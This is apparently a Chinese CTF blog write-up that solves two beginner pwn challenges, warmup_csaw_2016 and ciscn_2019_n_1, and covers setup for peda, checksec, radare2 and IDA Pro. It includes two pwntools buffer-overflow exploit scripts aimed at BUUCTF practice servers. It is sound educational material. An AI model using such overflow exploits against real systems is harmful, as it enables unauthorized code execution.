ciscn_2019_n_1

环境

  • kali-2020.4,windows10,IDA pro

前置知识

深入了解GOT,PLT和动态链接:https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html
全功能的二进制文件分析工具 Radare2 指南:https://linux.cn/article-13074-1.html

GDB插件peda的安装,checksec安装

插件peda安装

git clone https://github.com/longld/peda.git ~/peda
echo “source ~/peda/peda.py” >> ~/.gdbinit

checksec安装

sudo apt install checksec

Radare2安装

开源的逆向工程框架

git clone https://github.com/radare/radare2.git  &&  cd radare2
./sys/install.sh

可以使用以下命令启动web UI

r2 -c=H /bin/true

题目

  • warmup_csaw_2016
  • 首先使用checksec
  • 使用gdb调试

  • 可以看到程序输出了地址0x40060d,使用IDA查看地址

    发现为后门函数

    与以往一样

exp

from pwn import *
p = remote('node3.buuoj.cn',25287)
payload ='a'*(0x40+8)+ p64(0x40060d)
p.sendline(payload)
p.interactive()

题目

  • ciscn_2019_n_1


    gets接受的是v1的值,要让v2=11.28125,需要在写入v1后覆盖-0x4-(-0x30)=0x2c,11.28125对应的十六进制数0x41348000,且为32位程序

exp

from pwn import *
r = remote('node4.buuoj.cn', 27182)
payload ='a'*0x2c + p32(0x41348000)
r.sendline(payload)
r.interactive()

补充

IDA pro(kali安装):

由于IDA pro只能装在32位环境下,如果是64位Ubuntu,需要运行如下命令安装32位的必备库。

sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install libc6-i686:i386 libexpat1:i386 libffi6:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386 libglib2.0-0:i386 libice6:i386 libpcre3:i386 libpng12-0:i386 libsm6:i386 libstdc++6:i386 libuuid1:i386 libx11-6:i386 libxau6:i386 libxcb1:i386 libxdmcp6:i386 libxext6:i386 libxrender1:i386 zlib1g:i386 libx11-xcb1:i386 libdbus-1-3:i386 libxi6:i386 libsm6:i386 libcurl3:i386

然后进入解压目录,输入:

./idaq
ida pro遇到的问题解决
sudo apt-get install libglib2.0-0:i386
sudo apt-get install libfreetype6:i386
sudo apt-get install libsm-dev:i386
sudo apt install libxrender1:i386
sudo apt-get install libfontconfig1:i386
sudo apt-get install libxext6:i386
posted @ 2021-09-25 22:30  超级想睡觉  阅读(195)  评论(0)    收藏  举报